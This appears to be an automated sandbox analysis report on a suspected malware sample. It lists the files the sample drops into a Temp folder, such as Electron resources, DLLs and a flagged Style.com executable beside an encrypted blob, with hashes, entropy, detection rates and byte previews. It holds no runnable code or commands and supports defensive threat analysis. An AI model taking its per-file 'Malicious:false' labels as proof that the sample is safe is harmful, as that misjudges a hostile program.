                                                                                                                                                                                                                                                                SSDEEP:12288:7Od6KqVw2iILlY+dAs1aQUfjoaVV4FH2mFxvx35uKN3CuKb7szmV2Jfu64K+z5jG:KsKqJi6lY+dAs1aQU7yZx35uK4XQzQI9
                                                                                                                                                                                                                                                                MD5:A19269683A6347E07C55325B9ECC03A4
                                                                                                                                                                                                                                                                SHA1:D42989DAF1C11FCFFF0978A4FB18F55EC71630EC
                                                                                                                                                                                                                                                                SHA-256:AD65351A240205E881EF5C4CF30AD1BC6B6E04414343583597086B62D48D8A24
                                                                                                                                                                                                                                                                SHA-512:1660E487DF3F3F4EC1CEA81C73DCA0AB86AAF121252FBD54C7AC091A43D60E1AFD08535B082EFD7387C12616672E78AA52DDDFCA01F833ABEF244284482F2C76
                                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                                Preview:........P...h.....i.....j.....k.%...l.0...n.8...o.=...p.J...r.P...s.a...t.j...v.....w.....y.....z.....|.....}.........................................................................F.....h...............................................[.........................................#.....Q.....x...................................[.........................................T...............................................'.....U......................./.....c...............................................>.....s.............................4.....^................. .....9.....V.....l...................................\...............................................&.....B.....S.....v...............................................O.....r...................................0.......................9.....z.......................-.....[............... .....".....%.....(.E...*.q...+.t...,.........../.....0.....1.....3.....4.....5.....6.....7.....8.....9.....;.3...<.G...=._...>.....?.....@.....A.....C.F.

                                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\locales\bn.pak

                                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                                Process:C:\Users\user\Desktop\NativeApp_G5L1NHZZ.exe
                                                                                                                                                                                                                                                                File Type:data
                                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                                Size (bytes):904943
                                                                                                                                                                                                                                                                Entropy (8bit):4.273773274227575
                                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                                SSDEEP:1536:wqf22AwWk+ADszaaH0PaMadiMNKVbVtQW01jilDouMGsW2uMBVr+9RU4yVS5PMxq:1zW/AMfafVoCp8YbkJBbdJ2DB5y0XlRB
                                                                                                                                                                                                                                                                MD5:5CDD07FA357C846771058C2DB67EB13B
                                                                                                                                                                                                                                                                SHA1:DEB87FC5C13DA03BE86F67526C44F144CC65F6F6
                                                                                                                                                                                                                                                                SHA-256:01C830B0007B8CE6ACA46E26D812947C3DF818927B826F7D8C5FFD0008A32384
                                                                                                                                                                                                                                                                SHA-512:2AC29A3AA3278BD9A8FE1BA28E87941F719B14FBF8B52E0B7DC9D66603C9C147B9496BF7BE4D9E3AA0231C024694EF102DCC094C80C42BE5D68D3894C488098C
                                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                                Preview:........K...h.....i.....j.....k.$...l./...n.7...o.=...p.J...r.P...s.a...t.j...v.....w.....y.....z.....|.....}.............................................................................................................7.....a.......................".....$.....(.....P.......................+.....T.....p.......................H...................................M.....c...........5.....D....._.........................................A.....z.................B.......................................................................H.....a.....s.........................................B.....g.............................3.....W.....{...............................................>...........j...................................6.....R.........................................g...........9.....u...........V...................................8... .M...".....%.....(. ...*.\...,._........./.....0.....1.`...3.....4.....5.....6.....7.....8.E...9.d...;.....<.....=.....>."...?.5...@.j...A.....C.3...D.S.

                                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\locales\ca.pak

                                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                                Process:C:\Users\user\Desktop\NativeApp_G5L1NHZZ.exe
                                                                                                                                                                                                                                                                File Type:data
                                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                                Size (bytes):426906
                                                                                                                                                                                                                                                                Entropy (8bit):5.400864409916039
                                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                                SSDEEP:12288:+XnGrijIs3cSlFEYLCJBB43nbhjJSwmrwiwWzM1ldLbpuQ16BtryBBwIle3nei3X:iNV4ossMNu51hnW5CptA
                                                                                                                                                                                                                                                                MD5:D259469E94F2ADF54380195555154518
                                                                                                                                                                                                                                                                SHA1:D69060BBE8E765CA4DC1F7D7C04C3C53C44B8AB5
                                                                                                                                                                                                                                                                SHA-256:F98B7442BEFC285398A5DD6A96740CBA31D2F5AADADD4D5551A05712D693029B
                                                                                                                                                                                                                                                                SHA-512:D0BD0201ACF4F7DAA84E89AA484A3DEC7B6A942C3115486716593213BE548657AD702EF2BC1D3D95A4A56B0F6E7C33D5375F41D6A863E4CE528F2BD6A318240E
                                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                                Preview:........N...h.....i.....j.....k.!...l.,...n.4...o.9...p.F...r.L...s.]...t.f...v.{...w.....y.....z.....|.....}...............................................................................6.....O.....o.....|.....................................................2.....J.....j.....q...........................................................1.....;.....M.....].......................................................................D.....i.................................................................+.....2.....?.....u.........................................".....5.....F.....b.....e.....}.............................................................................&.....h......................./.....P.....s.....................................................4.....P.....|...............................................:.....F... .Q...".g...%.....(.....*.....+.....,.........../.-...0.2...1.h...3.x...4.....5.....6.....7.....8.....9.(...;.6...<.D...=.R...>.l...?.v...@.....A.....C.....D.....E...

                                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\locales\cs.pak

                                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                                Process:C:\Users\user\Desktop\NativeApp_G5L1NHZZ.exe
                                                                                                                                                                                                                                                                File Type:data
                                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                                Size (bytes):436202
                                                                                                                                                                                                                                                                Entropy (8bit):5.843819816549512
                                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                                SSDEEP:6144:U4ftEfqE2jv7ShUjBA59wjd558YAGKND9Gto8QV:U41HE2jjShqywjd558YAbNDcI
                                                                                                                                                                                                                                                                MD5:04A680847C4A66AD9F0A88FB9FB1FC7B
                                                                                                                                                                                                                                                                SHA1:2AFCDF4234A9644FB128B70182F5A3DF1EE05BE1
                                                                                                                                                                                                                                                                SHA-256:1CC44C5FBE1C0525DF37C5B6267A677F79C9671F86EDA75B6FC13ABF5D5356EB
                                                                                                                                                                                                                                                                SHA-512:3A8A409A3C34149A977DEA8A4CB0E0822281AED2B0A75B02479C95109D7D51F6FB2C2772CCF1486CA4296A0AC2212094098F5CE6A1265FA6A7EB941C0CFEF83E
                                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                                Preview:......../...h.....i.....j.....k.....l.....n.....o.....p.....r.....s.....t.(...v.=...w.J...y.P...z._...|.e...}.w.........................................................................................#.....,.....9.....V.....d.........................................!.....?.....L.....X.....d.....o.....................................................".....4.....E.....{.......................................................................8.....O.....d.....{.................................................................H.....Z.....h.....................................................9.....<.....J.....X.....h.....w.................................................................!.....p.......................".....>.....s.....................................................&.....N.....n.........................................+.....5... .=...".N...%.u...(.....*.....+.....,.........../.....0.....1.H...3.V...4.s...5.....6.....7.....8.....9.....<."...=.,...>.A...?.I...@.[...A.....C.....D...

                                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\locales\da.pak

                                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                                Process:C:\Users\user\Desktop\NativeApp_G5L1NHZZ.exe
                                                                                                                                                                                                                                                                File Type:data
                                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                                Size (bytes):396104
                                                                                                                                                                                                                                                                Entropy (8bit):5.454826678090317
                                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                                SSDEEP:6144:Q3rSn4RJ28687mlwlGXaJwZkqEb1Phv6VP5yarXGzOJixhd4/TWwS:eND/xqkqEO5nrFTq
                                                                                                                                                                                                                                                                MD5:1A53D374B9C37F795A462AAC7A3F118F
                                                                                                                                                                                                                                                                SHA1:154BE9CF05042ECED098A20FF52FA174798E1FEA
                                                                                                                                                                                                                                                                SHA-256:D0C38EB889EE27D81183A0535762D8EF314F0FDEB90CCCA9176A0CE9AB09B820
                                                                                                                                                                                                                                                                SHA-512:395279C9246BD30A0E45D775D9F9C36353BD11D9463282661C2ABD876BDB53BE9C9B617BB0C2186592CD154E9353EA39E3FEED6B21A07B6850AB8ECD57E1ED29
                                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                                Preview:........[...h.....i.)...j.5...k.D...l.O...n.W...o.\...p.i...r.o...s.....t.....v.....w.....y.....z.....|.....}.........................................................................?.....M.....].....q.....y...........................................................4.....K.....R.....].....m.....t...........................................................5.....F.....u.............................................................................9.....T.....m.....w.....z................................................................./.....E.....k.............................................................................+.....2.....5.....6.....=.....F.....L.....S.....^.............................X.....n.......................................................................F.....[................................................... .....".....%.,...(.T...*.....+.....,.........../.....0.....1.....3.....4.%...5.=...6.o...7.....8.....9.....;.....<.....=.....>.....?.....@.....A.%...C.B...D.L.

                                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\locales\de.pak

                                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                                Process:C:\Users\user\Desktop\NativeApp_G5L1NHZZ.exe
                                                                                                                                                                                                                                                                File Type:data
                                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                                Size (bytes):424277
                                                                                                                                                                                                                                                                Entropy (8bit):5.503137231857292
                                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                                SSDEEP:6144:TFigju3qg4wajEzUKnYm31SOmhqYl51gHNiOIkCJD:TFiecqg1aqHSOu599kCJD
                                                                                                                                                                                                                                                                MD5:8E6654B89ED4C1DC02E1E2D06764805A
                                                                                                                                                                                                                                                                SHA1:FF660BC85BB4A0FA3B2637050D2B2D1AECC37AD8
                                                                                                                                                                                                                                                                SHA-256:61CBCE9A31858DDF70CC9B0C05FB09CE7032BFB8368A77533521722465C57475
                                                                                                                                                                                                                                                                SHA-512:5AC71EDA16F07F3F2B939891EDA2969C443440350FD88AB3A9B3180B8B1A3ECB11E79E752CF201F21B3DBFBA00BCC2E4F796F347E6137A165C081E86D970EE61
                                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                                Preview:............h.V...i.g...j.s...k.....l.....n.....o.....p.....r.....s.....t.....v.....w.....y.....z.....|.....}.............#.....+.....3.....;.....B.....I.....P.....Q.....R.....T...........................................................$.....:.....<.....@.....h.....}.....................................................-.....Q.....d.....j.....s...............................................4.....K.....O.....R.....[.....t...................................D.....Q.....[.....c.....j.....p.....}...............................................0.....d.................................................................6.....O.....i.....p.....s.....t.....~...................................=...................................6.....?.....Q.....[.....h.....m.....r...................................(.....Y.....u.....{........................... .....".....%.....(.....*./...+.2...,.P.....a.../.w...0.....1.....3.....4.....5.....6.A...7.U...8.i...9.w...;.....<.....=.....>.....?.....@.....A.....C.....D.%.

                                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\locales\el.pak

                                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                                Process:C:\Users\user\Desktop\NativeApp_G5L1NHZZ.exe
                                                                                                                                                                                                                                                                File Type:data
                                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                                Size (bytes):769050
                                                                                                                                                                                                                                                                Entropy (8bit):4.75072843480339
                                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                                SSDEEP:12288:H/58dBquNw2202pgtZSWjZ4LIbsJvaP5A3HKQiEQBR07391qf2utKMaBlS9WffFR:H8BquNw2202pgtsWjyLrJvaRA3HtiEQG
                                                                                                                                                                                                                                                                MD5:9528D21E8A3F5BAD7CA273999012EBE8
                                                                                                                                                                                                                                                                SHA1:58CD673CE472F3F2F961CF8B69B0C8B8C01D457C
                                                                                                                                                                                                                                                                SHA-256:E79C1E7A47250D88581E8E3BAF78DCAF31FE660B74A1E015BE0F4BAFDFD63E12
                                                                                                                                                                                                                                                                SHA-512:165822C49CE0BDB82F3C3221E6725DAC70F53CFDAD722407A508FA29605BC669FB5E5070F825F02D830E0487B28925644438305372A366A3D60B55DA039633D7
                                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                                Preview:........M...h.....i.....j.....k.....l.(...n.0...o.5...p.B...r.H...s.Y...t.b...v.w...w.....y.....z.....|.....}.........................................................................P.....w.............................B.....N.....Z...................................+.....x...................................h.....y.............................&.....C.....a.................,.....4.....H.....o...................................!.....M.................8...............................................1....._.....w.................!.....2.....q.................J.....a.........................................,.....O.....|.........................................!.....3.....F.....^.......................,.................<.............................(.....;.....I.......................M.................T.................................../... .B...".e...%.....(.....*.7...+.:...,.X........./.....0.....1.m...3.....4.....5.#...6.....7.....8.....9. ...;.a...<.w...=.....>.....?.....@.....A.B...C...

                                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\resources.pak

                                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                                Process:C:\Users\user\Desktop\NativeApp_G5L1NHZZ.exe
                                                                                                                                                                                                                                                                File Type:data
                                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                                Size (bytes):5245458
                                                                                                                                                                                                                                                                Entropy (8bit):7.995476669559971
                                                                                                                                                                                                                                                                Encrypted:true
                                                                                                                                                                                                                                                                SSDEEP:98304:HLYxfQVcnNWz49PDq2AwpmqdhBh1Dd42cjrwrbHw4o0DPelwG3RC:H0pQGcMButuBhpd4jkrU4oeelrRC
                                                                                                                                                                                                                                                                MD5:7D5065ECBA284ED704040FCA1C821922
                                                                                                                                                                                                                                                                SHA1:095FCC890154A52AD1998B4B1E318F99B3E5D6B8
                                                                                                                                                                                                                                                                SHA-256:A10C3D236246E001CB9D434A65FC3E8AA7ACDDDDD9608008DB5C5C73DEE0BA1F
                                                                                                                                                                                                                                                                SHA-512:521B2266E3257ADAA775014F77B0D512FF91B087C2572359D68FFE633B57A423227E3D5AF8EE4494538F1D09AA45FFA1FE8E979814178512C37F7088DDD7995D
                                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                                Preview:............f.......P'....$*.....-...43@...4.H...4XK...4i]...4.f...4.m...4?p...4.v...4.x...4.z...4.~...4....4.....4?....4.....4....4.....4=....4z....4a....4....4....4.....4.....4.....43....4.....4.....4J....4J....4.....4.....4#....4j....4J....5.....5....v5.:..w5.;..x5.<..y5.>..z5a?...5.?...5.D...5.E...5dJ...5.O...5.V...5.f...5.w...5.x...5.|..n<&...x<....y<....z<....{<....|<....<+....<r....<8....</....<....V@....W@....X@x...Y@d...Z@....[@2...\@O...]@....^@...._@hh..`@....<A....=A.....P.~...Pe....PX....P.....P.....Pt....P.....P3....Q.....QF....Q.....Q.....Q.....Q[....QA....Q.....Q.....QW....Q.....Qv....Q9!...Q.'...QF....Q.1..,Q.F..-QsL...QLN../Q.P..0Q.U..1Q.i..2Q.j..3Q.k..4QEm..5Q.o..6Q.r..7Q~t..8QEw..9Q!x..:Q.z..;Ql...<Q)...=Q....>Q ...?Q"....R....Ry....}.....}. ...}._...}%a...}[h...}.h...}[j...}Lo...}....}.&...}.....}.6...}4;...}.=...}&B...}mG...~.O...~.d...~.q...~.t...~.|...~.}..!~...."~....#~...$~|...&~....'~A...(~....)~....*~t$..+~.4..,~.6..-~V8...~.;../~i<..0~|=..1~iA..2~.H

                                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\snapshot_blob.bin

                                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                                Process:C:\Users\user\Desktop\NativeApp_G5L1NHZZ.exe
                                                                                                                                                                                                                                                                File Type:data
                                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                                Size (bytes):273328
                                                                                                                                                                                                                                                                Entropy (8bit):3.2521181832662194
                                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                                SSDEEP:1536:MpeVehd7eASb6iAGm4hmWRSJTnBSki+TfUNp2Zg+TEJ0xEI2tWaw8MCZ72T04GO9:YdyNm4mWRSJTBSXsU1vJzbYB
                                                                                                                                                                                                                                                                MD5:8915DD2A6D6B4EBF9A16C77FE063D8DE
                                                                                                                                                                                                                                                                SHA1:A03132ADCB99A82BA269D56AB6577CCFD1BB08E5
                                                                                                                                                                                                                                                                SHA-256:C1802B29B13663A8890031411270866834246931F71F41397682DD88FA16D485
                                                                                                                                                                                                                                                                SHA-512:ABD93CDD634AD4D38B7E3714B183335CDDB9E3AD14660247CC7285066C95342AC8595D68CD0868B8512E73BB656AB54386045533F998576B2CD6501BF456CD2C
                                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                                Preview:............11.2.214.9-electron.0............................................;...b...........:..a........a........a........ar.......a........a..............Y.D............`$.........D............`$.......D............`$.......m.D............`$.........D............`D.........D............`$.......1.D............`$.......D............`$.......D............`$.........D............`$.......D............`$......ID............`$.......D............`$.......D............`$....(Jb....I.....@..F^......`.....(Jb....M.....@..F^..`.....H...IDa........D`....D`....D`.......D`.....D]D....D`......WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa............L.............................................................................................................................................................

                                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\v8_context_snapshot.bin

                                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                                Process:C:\Users\user\Desktop\NativeApp_G5L1NHZZ.exe
                                                                                                                                                                                                                                                                File Type:data
                                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                                Size (bytes):588152
                                                                                                                                                                                                                                                                Entropy (8bit):4.83735352889622
                                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                                SSDEEP:6144:bFzofuYUahtcOm3A0Tg8zY8y4XrxXSIIBYgHi:JMfu/fTY8zrM9C7
                                                                                                                                                                                                                                                                MD5:4CD37EA771EA4FE2F3AD46217CC02206
                                                                                                                                                                                                                                                                SHA1:31680E26869B007E62550E96DBF846B3980D5B2B
                                                                                                                                                                                                                                                                SHA-256:95F7B8664306DA8D0073A795E86590ED6FDAEDE5F489132E56C8779F53CF1ED5
                                                                                                                                                                                                                                                                SHA-512:E1369734CBE17AAF6DD3CEEFB57F056C5A9346D2887A7D3EE7ED177386D7F5E624407869D53902B56AB350E4DED5612C3B0F52C2DD3EFA307E9947701068A2A0
                                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                                Preview:.........c~.11.2.214.9-electron.0...........................................H...P<..........X...........a........a........aT.......ar.......a........a..............Y.D............`$.........D............`$.......D............`$.......m.D............`$.........D............`D.........D............`$.......1.D............`$.......D............`$.......D............`$.........D............`$.......D............`$......ID............`$.......D............`$.......D............`$....(Jb....I.....@..F^......`.....(Jb....M.....@..F^..`.....H...IDa........D`....D`....D`.......D`.....D]D....D`......WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa............L.....................................................................................................................................................

                                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\vk_swiftshader.dll

                                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                                Process:C:\Users\user\Desktop\NativeApp_G5L1NHZZ.exe
                                                                                                                                                                                                                                                                File Type:PE32+ executable (DLL) (console) x86-64, for MS Windows
                                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                                Size (bytes):5334528
                                                                                                                                                                                                                                                                Entropy (8bit):6.335261874351837
                                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                                SSDEEP:98304:RKJSTu+985EkjstvgsnpkkHF3y/AFIB7:RQq85EkjstvgsnpkkJETB
                                                                                                                                                                                                                                                                MD5:524B0D85D992F86A7F26C162F3DBB91C
                                                                                                                                                                                                                                                                SHA1:BC9C862FD01F6134A0514DCB63F9FAB7A61CE269
                                                                                                                                                                                                                                                                SHA-256:5B2FFB78FA963F2DEA5A7FCF7676FC3ABA243C4372D7528C8F1FC8F726D0A3FA
                                                                                                                                                                                                                                                                SHA-512:422A18AF294D7551224E05F5F4F5DCFA51B3455C2E61FC285FD2B95B50274EB77FF317647E17B0E7D47459B4FED19C7C88C90E0878F2269A78D598B1196401D8
                                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                                Antivirus:
                                                                                                                                                                                                                                                                • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                                                Preview:MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d...)<#d.........." ......A..........;.......................................R...........`A..........................................L.~...&.L.P....`R.......P.<_...........pR.X}...L.......................L.(...@.A.@.............L.P............................text.....A.......A................. ..`.rdata...(....A..*....A.............@..@.data...p.....M.......M.............@....pdata..<_....P..`...LO.............@..@.00cfg..8.....Q.......P.............@..@.gxfg....,....R.......P.............@..@.retplne.....0R.......P..................tls....Q....@R.......P.............@..._RDATA..\....PR.......P.............@..@.rsrc........`R.......P.............@..@.reloc..X}...pR..~....P.............@..B................................................................................................................................................................................

                                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\vk_swiftshader_icd.json

                                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                                Process:C:\Users\user\Desktop\NativeApp_G5L1NHZZ.exe
                                                                                                                                                                                                                                                                File Type:JSON data
                                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                                Size (bytes):106
                                                                                                                                                                                                                                                                Entropy (8bit):4.724752649036734
                                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                                SSDEEP:3:YD96WyV18tzsmyXLVi1rTVWSCwW2TJHzeZ18rY:Y8WyV18tAZLVmCwXFiZ18rY
                                                                                                                                                                                                                                                                MD5:8642DD3A87E2DE6E991FAE08458E302B
                                                                                                                                                                                                                                                                SHA1:9C06735C31CEC00600FD763A92F8112D085BD12A
                                                                                                                                                                                                                                                                SHA-256:32D83FF113FEF532A9F97E0D2831F8656628AB1C99E9060F0332B1532839AFD9
                                                                                                                                                                                                                                                                SHA-512:F5D37D1B45B006161E4CEFEEBBA1E33AF879A3A51D16EE3FF8C3968C0C36BBAFAE379BF9124C13310B77774C9CBB4FA53114E83F5B48B5314132736E5BB4496F
                                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                                Preview:{"file_format_version": "1.0.0", "ICD": {"library_path": ".\\vk_swiftshader.dll", "api_version": "1.0.5"}}

                                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\vulkan-1.dll

                                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                                Process:C:\Users\user\Desktop\NativeApp_G5L1NHZZ.exe
                                                                                                                                                                                                                                                                File Type:PE32+ executable (DLL) (console) x86-64, for MS Windows
                                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                                Size (bytes):928256
                                                                                                                                                                                                                                                                Entropy (8bit):6.558092096809165
                                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                                SSDEEP:24576:IEW7F7IyaHx/fempu2e6Z5WODYsHh6g3P0zAk7o:e7IyaBfempa6Z5WODYsHh6g3P0zAk7
                                                                                                                                                                                                                                                                MD5:6D4ADF9A48DBCE2E480EF10B1338CA3C
                                                                                                                                                                                                                                                                SHA1:CEB77D5768C6EDA84EC8E0B43821B8027764DE81
                                                                                                                                                                                                                                                                SHA-256:4CCA7E6C05B2D988926E4B4D0C8FF91D6356F18DE8BF40B440251180E5CAD6A7
                                                                                                                                                                                                                                                                SHA-512:106DB7309B40AFABB1CCA911B204C83129683DC116AEC198568C4228C581BF0DE5963BFFC0B50DF8F43EC355264F271FC383F4155BE45350C0D7DD429C7F7F09
                                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                                Antivirus:
                                                                                                                                                                                                                                                                • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                                                Preview:MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d...)<#d.........." ......................................................................`A........................................H...<!......P...............<o..............T...t.......................X...(...@...@............................................text............................... ..`.rdata..............................@..@.data....L...p... ...V..............@....pdata..<o.......p...v..............@..@.00cfg..8....0......................@..@.gxfg...P(...@...*..................@..@.retplne.....p...........................tls................................@..._RDATA..\...........................@..@.rsrc...............................@..@.reloc..T...........................@..B................................................................................................................................................................................

                                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\69564\Style.com

                                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                                Process:C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                                                                                                                                                                                                Category:modified
                                                                                                                                                                                                                                                                Size (bytes):893608
                                                                                                                                                                                                                                                                Entropy (8bit):6.620254876639106
                                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                                SSDEEP:12288:DpVWeOV7GtINsegA/hMyyzlcqikvAfcN9b2MyZa31troPTdFqgaAV2M0L:DT3E53Myyzl0hMf1te7xaA8M0L
                                                                                                                                                                                                                                                                MD5:6EE7DDEBFF0A2B78C7AC30F6E00D1D11
                                                                                                                                                                                                                                                                SHA1:F2F57024C7CC3F9FF5F999EE20C4F5C38BFC20A2
                                                                                                                                                                                                                                                                SHA-256:865347471135BB5459AD0E647E75A14AD91424B6F13A5C05D9ECD9183A8A1CF4
                                                                                                                                                                                                                                                                SHA-512:57D56DE2BB882F491E633972003D7C6562EF2758C3731B913FF4D15379ADA575062F4DE2A48CA6D6D9241852A5B8A007F52792753FD8D8FEE85B9A218714EFD0
                                                                                                                                                                                                                                                                Malicious:true
                                                                                                                                                                                                                                                                Antivirus:
                                                                                                                                                                                                                                                                • Antivirus: ReversingLabs, Detection: 3%
                                                                                                                                                                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........sD.R.*.R.*.R.*..C..P.*....S.*._@..a.*._@....*._@..g.*.[j..[.*.[j..w.*.R.+.r.*......*....S.*._@..S.*.R...P.*....S.*.RichR.*.........................PE..L......Z.........."...............................@.................................Jo....@...@.......@.........................|.......P....................p...q...;.............................. [..@............................................text............................... ..`.rdata..............................@..@.data...t........R..................@....rsrc...P............<..............@..@.reloc...q...p...r..................@..B................................................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\69564\X

                                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                                Process:C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                File Type:OpenPGP Public Key
                                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                                Size (bytes):482608
                                                                                                                                                                                                                                                                Entropy (8bit):7.999593704543526
                                                                                                                                                                                                                                                                Encrypted:true
                                                                                                                                                                                                                                                                SSDEEP:12288:9f/L8BOnNyLnHnu8T8KzyswPTNt4kIxvx/Ipe:ZL8BOnNyNT8yjwrC7
                                                                                                                                                                                                                                                                MD5:F35FEF65DA92382B0CF07831FB7397C4
                                                                                                                                                                                                                                                                SHA1:37FCA20AFE32DFBAEC31E65DDC97E8AAA0E706D2
                                                                                                                                                                                                                                                                SHA-256:37ACF13040CFE8DF5E6CDFF4FA07A33E9FB8E13542266C90D4868D43DCFB580D
                                                                                                                                                                                                                                                                SHA-512:2FD0387831F93F983F0AD4612A47C47F0B9C374D121FAC8B9718BD971C25128A497DED5F7C1529C419468993E4DAC336AED0E3D628212A570DE333C0433CC15A
                                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                                Preview:....Lo.....R..?.g..".P.......]..!.rd..[....R...@|.:.T....t/.a.......*C=y/.y......v. o.....j+._......=.....o.=..b9.J_.n..U....l.._.y$....]...o5...1....3Y..&a..o...!c=H+u.E..W.y.. :.C..E....&..%...^..i...X]....K.4..9l.s[c..%....Tel.w4.D...m@.7.C..K?X.AVM..b...X(.G)B..$P.^0...Z..}.D..+.*....I....f...'.I.Q1.}V.......msn.\....j..|.U>t.`..2..rjs2ieho......(_.........q..1..A...|}...>rjQ..[.......``c..O.=..r.....]h.q...3....0-.!.t...-!..4P.j8..G.l..i...0.......P.Uy..0FW.sW.......1..w.t.D?."'c...=..U<\...`.gf]...,.A......c.L.+..G...T..p...;6,6B._c.uQUW.<lp.....>.....6A^.$'`....2.SG2....g.V.:.y.o-[.C0/.....T. ..uH.3>2..W.%1.o.xl.0.N...T....a...1.p1.............. .......E.:.=..Frw.cuE.....;..0.8.X......C..i...oA7.#....1.z.......U..V...j..wl..n....U"[M.U......GE.,....B..Z+...O..6C..0.V.P.....e..*..r.Zs..T....z...e#...).9...!?..G..W........K.>rd...X.:^........#;.....b..mH....b;o.x.... .)..0.....X...U......Z.,.].j$T...8..=..K...@.C.J....HZg}5..

                                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\Bleeding

                                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\FBjp1YLF5OVM30rhnV\CnnCylinder.exe
                                                                                                                                                                                                                                                                File Type:data
                                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                                Size (bytes):27952
